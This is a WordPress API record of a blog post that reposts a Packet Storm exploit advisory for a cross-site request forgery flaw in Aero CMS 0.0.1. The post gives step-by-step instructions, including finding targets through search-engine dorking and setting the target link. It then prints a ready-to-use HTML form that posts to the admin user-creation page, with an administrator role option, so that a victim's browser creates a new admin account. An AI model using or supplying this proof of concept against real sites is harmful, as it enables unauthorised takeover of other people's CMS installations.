{"id":58561,"date":"2024-07-31T18:09:48","date_gmt":"2024-07-31T15:09:48","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/179851\/aerocms001-xsrf.txt"},"modified":"2024-07-31T18:09:48","modified_gmt":"2024-07-31T15:09:48","slug":"aero-cms-0-0-1-cross-site-request-forgery","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/aero-cms-0-0-1-cross-site-request-forgery\/","title":{"rendered":"Aero CMS 0.0.1 Cross Site Request Forgery"},"content":{"rendered":"<p>=============================================================================================================================================<br \/>| # Title : Aero CMS v0.0.1 CSRF Vulnerability |<br \/>| # Author : indoushka |<br \/>| # Tested on : windows 10 Fr(Pro) \/ browser : Mozilla firefox 128.0.3 (64 bits) |<br \/>| # Vendor : https:\/\/codeload.github.com\/MegaTKC\/AeroCMS\/zip\/refs\/heads\/master |<br \/>=============================================================================================================================================<\/p>\n<p>poc :<\/p>\n[+] Dorking \u0130n Google Or Other Search Enggine.<\/p>\n[+] The following html code create a new admin .<\/p>\n[+] Go to the line 9.<\/p>\n[+] Set the target site link Save changes and apply . <\/p>\n[+] infected file : admin\/users.php?source=add_user<\/p>\n[+] save code as poc.html .<\/p>\n<p>&lt;form action=&#8221;https:\/\/127.0.0.1\/pepopecocom\/admin\/users.php?source=add_user&#8221; method=&#8221;POST&#8221;&gt;<br \/>&lt;div&gt;<br \/>&lt;label for=&#8221;username&#8221;&gt;Username:&lt;\/label&gt;<br \/>&lt;input type=&#8221;text&#8221; id=&#8221;username&#8221; name=&#8221;username&#8221; required&gt;<br \/>&lt;\/div&gt;<br \/>&lt;div&gt;<br \/>&lt;label for=&#8221;password&#8221;&gt;Password:&lt;\/label&gt;<br \/>&lt;input type=&#8221;password&#8221; id=&#8221;password&#8221; name=&#8221;password&#8221; required&gt;<br \/>&lt;\/div&gt;<br \/>&lt;div&gt;<br \/>&lt;label for=&#8221;user_email&#8221;&gt;Email:&lt;\/label&gt;<br \/>&lt;input type=&#8221;email&#8221; id=&#8221;user_email&#8221; name=&#8221;user_email&#8221; required&gt;<br \/>&lt;\/div&gt;<br \/>&lt;div&gt;<br \/>&lt;label for=&#8221;user_first_name&#8221;&gt;First Name:&lt;\/label&gt;<br \/>&lt;input type=&#8221;text&#8221; id=&#8221;user_first_name&#8221; name=&#8221;user_first_name&#8221; required&gt;<br \/>&lt;\/div&gt;<br \/>&lt;div&gt;<br \/>&lt;label for=&#8221;user_last_name&#8221;&gt;Last Name:&lt;\/label&gt;<br \/>&lt;input type=&#8221;text&#8221; id=&#8221;user_last_name&#8221; name=&#8221;user_last_name&#8221; required&gt;<br \/>&lt;\/div&gt;<br \/>&lt;div&gt;<br \/>&lt;label for=&#8221;user_image&#8221;&gt;Profile Image:&lt;\/label&gt;<br \/>&lt;input type=&#8221;file&#8221; id=&#8221;user_image&#8221; name=&#8221;user_image&#8221;&gt;<br \/>&lt;\/div&gt;<br \/>&lt;div&gt;<br \/>&lt;label for=&#8221;user_role&#8221;&gt;User Role:&lt;\/label&gt;<br \/>&lt;select id=&#8221;user_role&#8221; name=&#8221;user_role&#8221; required&gt;<br \/>&lt;option value=&#8221;admin&#8221;&gt;Admin&lt;\/option&gt;<br \/>&lt;option value=&#8221;editor&#8221;&gt;Editor&lt;\/option&gt;<br \/>&lt;option value=&#8221;subscriber&#8221;&gt;Subscriber&lt;\/option&gt;<br \/>&lt;\/select&gt;<br \/>&lt;\/div&gt;<br \/>&lt;div&gt;<br \/>&lt;button type=&#8221;submit&#8221; name=&#8221;create_user&#8221;&gt;Create User&lt;\/button&gt;<br \/>&lt;\/div&gt;<br \/>&lt;\/form&gt;<\/p>\n<p>Greetings to :============================================================<br \/>jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |<br \/>==========================================================================<\/p>\n","protected":false},"excerpt":{"rendered":"<p>=============================================================================================================================================| # Title : Aero CMS v0.0.1 CSRF Vulnerability || # Author : indoushka || # Tested on : windows 10 Fr(Pro) \/ browser : Mozilla firefox 128.0.3 (64 bits) || # Vendor : https:\/\/codeload.github.com\/MegaTKC\/AeroCMS\/zip\/refs\/heads\/master |============================================================================================================================================= poc : [+] Dorking \u0130n Google Or Other Search Enggine. [+] The following html code create a new admin &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-58561","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58561","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=58561"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58561\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=58561"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=58561"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=58561"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}